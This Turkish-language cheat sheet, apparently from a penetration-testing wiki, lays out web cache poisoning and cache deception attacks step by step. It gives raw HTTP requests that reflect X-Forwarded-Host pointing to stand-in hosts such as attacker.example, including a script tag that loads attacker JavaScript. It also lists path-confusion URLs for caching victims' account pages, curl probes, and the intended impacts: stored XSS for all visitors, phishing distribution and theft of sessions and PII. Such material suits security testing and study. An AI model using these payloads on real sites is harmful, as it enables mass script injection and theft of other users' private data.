Skip to content

Web Cache Poisoning & Deception

ileri seviye difficulty: orta-zor

Önbellekler istekleri bir cache key ile eşler (genelde host + path + bazı sorgu parametreleri). Key’e dahil olmayan (unkeyed) girdiler yanıtı etkiliyorsa, saldırgan zararlı bir yanıtı önbelleğe koyup diğer kullanıcılara servis edebilir. Web Cache Deception’da ise hassas dinamik içerik yanlışlıkla statik gibi önbelleğe alınır.

  1. Unkeyed girdi bul — X-Forwarded-Host , X-Forwarded-Scheme , X-Original-URL , X-Host , X-Forwarded-Prefix , fazladan query param yanıta yansıyor mu? Burp Param Miner unkeyed header/param keşfeder.

  2. Cache’e giren yanıtı doğrula — X-Cache: miss → tekrar hit / Age artışı / CF-Cache-Status: HIT . Cache buster ( ?cb=uuid ) ile kendi zehirini izole et.

  3. Zararlı yanıt üret — yansıyan host ile script/redirect: Yanıtta https://attacker.example/... veya <script src="//attacker.example/x.js"> → XSS/redirect tüm tüketicilere.

    GET /resources/js?cb=123 HTTP/1.1
    Host: victim.com
    X-Forwarded-Host: attacker.example
  4. Yüksek trafikli kaynak — ana sayfa / paylaşılan JS / CSS zehirle.

# Parameter cloaking (CDN key farklı parse)
GET /?utm_content=x&utm_content=../../../evil
# Fat GET / method override cache key farkı
# Response splitting + cache (CRLF)
# Request smuggling → cache poison
# Unkeyed cookie / Accept-Language yansıması
GET /static/app.js HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.example
X-Forwarded-Scheme: nothttps

Kurban, oturumlu hassas yolun statik uzantılı bir varyantına gider; CDN path’e bakıp cache’ler, origin ise session’a göre HTML döner:

https://victim.com/account/profile/x.css
https://victim.com/account/profile;style.css
https://victim.com/account/profile%0a.css
https://victim.com/account/;/logo.png
https://victim.com/account/profile#.css
https://victim.com/account/profile%2f..%2flogo.png

Path mapping farkı kritik: nginx trailing path, ; (Apache), %2f decode.

  1. Hassas sayfa bul — /account , /api/me , ayarlar (PII HTML/JSON).

  2. Statik gibi görünen URL üret — uzantı / ayırıcı ekle; yanıt hâlâ profil verisi mi?

  3. Cache header kontrol — Cache-Control: public veya CDN hit; Vary: Cookie yokluğu şüpheli.

  4. Kurbanı linke tıklat — sonra aynı URL’yi oturumsuz çek; kurban verisi dönüyorsa deception başarılı.

GET / HTTP/1.1
Host: victim.com
X-Forwarded-Host: uniq.attacker.example
# Body / Location / Link'te uniq.attacker ara
# Sonra header OLMADAN aynı path → zehir cache'de mi?
Terminal window
curl -sI https://victim.com/app.js | grep -iE 'cache|age|cf-|x-cache|vary'
Terminal window
curl -sI https://victim.com/account/settings/x.css \
-H 'Cookie: session=VICTIM' | grep -iE 'cache|content-type'
Key genelde: scheme + host + path + selected query
Unkeyed sık: X-Forwarded-*, X-Original-URL, cookie (bazen), Accept
Param Miner: "identifying unkeyed inputs"
Normalized path vs raw path farkı → key collision
□ Stored XSS tüm ziyaretçilere
□ Open redirect / phishing kit dağıtımı
□ Deception → session/PII çalma
□ Smuggling ile targeted poison (tek kullanıcı)
Param Miner → unkeyed X-Forwarded-Host yansıyor
→ static JS path + cache buster ile self-test
→ buster'sız zehirle → kurban XSS
/account/settings → /account/settings/promo.css
→ kurban tıklar → oturumsuz GET ile PII